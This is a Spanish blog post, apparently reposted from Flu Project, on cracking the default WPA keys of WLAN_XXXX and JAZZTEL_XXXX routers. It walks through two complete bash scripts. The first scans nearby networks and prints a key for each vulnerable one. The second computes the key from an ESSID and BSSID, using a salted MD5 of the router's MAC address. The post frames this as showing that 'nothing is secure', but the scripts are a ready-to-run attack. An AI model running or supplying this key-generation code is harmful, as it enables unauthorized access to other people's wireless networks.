Crackear WPA: rotura de WLAN_XXXX

Hace pocas semanas se publicó en Internet el ‘algoritmo’ de rotura de claves WPA del estilo WLAN_XXXXJazztel_ZZZZ. Es sabido por todos o por casi todos que este tipo de compañías generan sus claves Wifi en función de los propios parámetros del dispositivo. Ya ocurría con las claves WEP, las cuales podían ser ‘rotas’ en apenas segundos, ya que la variedad estaba en 3 o 4 alfanuméricos que había que sacar por fuerza bruta. Computacionalmente esto no es nada para una máquina de hoy en día, por lo que como se dijo anteriormente, en 3 o 4 segundos se dispone de la clave WEP.

Ahora parece que estas compañías lo han puesto aún más fácil. Simplemente se debe descargar el script en bash al equipo y ejecutarlo con los parámetros requeridos. Al finalizar la ejecución del script se dispondrá de la clave WPA para este tipo de redes Wifi.

Script

Según hemos investigado, gracias al artículo de SecurityByDefault, hemos observado 2 tipos de script. Realmente uno es un subconjunto del otro, realizan la misma operación pero para que se entienda lo han ‘tuneado’ de una manera u otra.

Script 1: (original by a.s.r)

Hay rumores en Internet sobre la autoridad del método, algunas voces comentan que pertenece a un grupo que no ha querido publicidad sobre su hazaña. Otros comentan que el algoritmo fue desarrollado por a.s.r.

Lo primero que realiza el script es la comprobación para ver si se ha ejecutado con al menos un argumento. Este primer argumento debe ser la interfaz wifi de la máquina. También se comprobará después, si el script fue ejecutado por root.

#!/bin/bash
echo "[] CalcWLAN-ng (original source by a.s.r, improved by pof)"
if [ -z $1 ]; then
echo "Usage: $0 "
echo "Example: $0 wlan0"
exit 1
fi
if [ $(whoami) != "root" ]; then
echo "You must be root to scan networks."
exit 1
fi

Después, se realizará un escaneo de redes wifi mediante el comando iwlist y se almacenará en una variable las redes y datos de éstas que tengan como nombre WLAN y JAZZTEL.

echo "Scanning wifi networks on interface $1"
TMP=$(tempfile)
iwlist $1 scan > $TMP
SSIDLIST=`cat $TMP |egrep "(WLAN|JAZZTEL)_...." |cut -f 2 -d \"`

A continuación, se realiza una comprobación necesaria, ver si existe alguna red dentro de la variable $SSIDLIST, ya que si no existe ninguna, no se tendrá ninguna red vulnerable cerca a este algoritmo.

if [ -z "$SSIDLIST" ]; then
echo "No WLAN_XXXX or JAZZTEL_XXX networks found"
exit 1
fi

Y por último, se ejecutará en un bucle que recorrerá todas las redes vulnerables que se han almacenado en la variable $SSIDLIST el procedimiento para obtener la clave WPA. Primero se obtiene la MAC de una de las redes vulnerables, se obtiene el BSSID entre otros valores. La llave estará cifrada con MD5, y los 20 primeros caracteres de todo el proceso serán la clave WPA.

for SSID in $SSIDLIST; do
echo
MAC=$(cat $TMP |grep -B6 $SSID |grep "Address:" |awk '{print $5}')
HEAD=$(echo -n "$SSID" |tr 'a-z' 'A-Z' |cut -d_ -f2)
BSSID=$(echo -n "$MAC" |tr 'a-z' 'A-Z' |tr -d : )
BSSIDP=$(echo -n "$BSSID" |cut -c-8)
KEY=$(echo -n bcgbghgg$BSSIDP$HEAD$BSSID |md5sum |cut -c-20)
echo "SSID: $SSID KEY: $KEY"
done

Script 2

El segundo script visto por Internet, es un script aún más simple y aunque el proceso central es la base también del anterior, es decir, sacar la MAC, BSSID, MD5. Se puede observar como solo funciona para sacar la WPA de una red, que será pasada como parámetro de entrada del script.

Para ejecutar el script se deben pasar 2 parámetros, si no el script devolverá error y saldrá de la ejecución indicando como debe ser ejecutado. Estos 2 parámetros son el ESSID y el BSSID.

#!/bin/bash
echo CalcWLAN by a.s.r
if [ $# -ne 2 ]
then
echo "Usage: $0 "
echo
echo "Example: $0 WLAN_C58D 64:68:0C:C5:C5:90"
exit 1
fi
HEAD=$(echo -n "$1" | tr 'a-z' 'A-Z' | cut -d_ -f2)
BSSID=$(echo -n "$2" | tr 'a-z' 'A-Z' | tr -d : )
BSSIDP=$(echo -n "$BSSID" | cut -c-8)
KEY=$(echo -n bcgbghgg$BSSIDP$HEAD$BSSID | md5sum | cut -c-20)
echo "La clave es $KEY"

Una de las mejores frases del script es la última… ‘La clave es $KEY’.

En conclusión, esperemos que el concepto haya quedado claro, nada es seguro.

Fuente: Flu Project

Share

One Reply to “Crackear WPA: rotura de WLAN_XXXX”

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.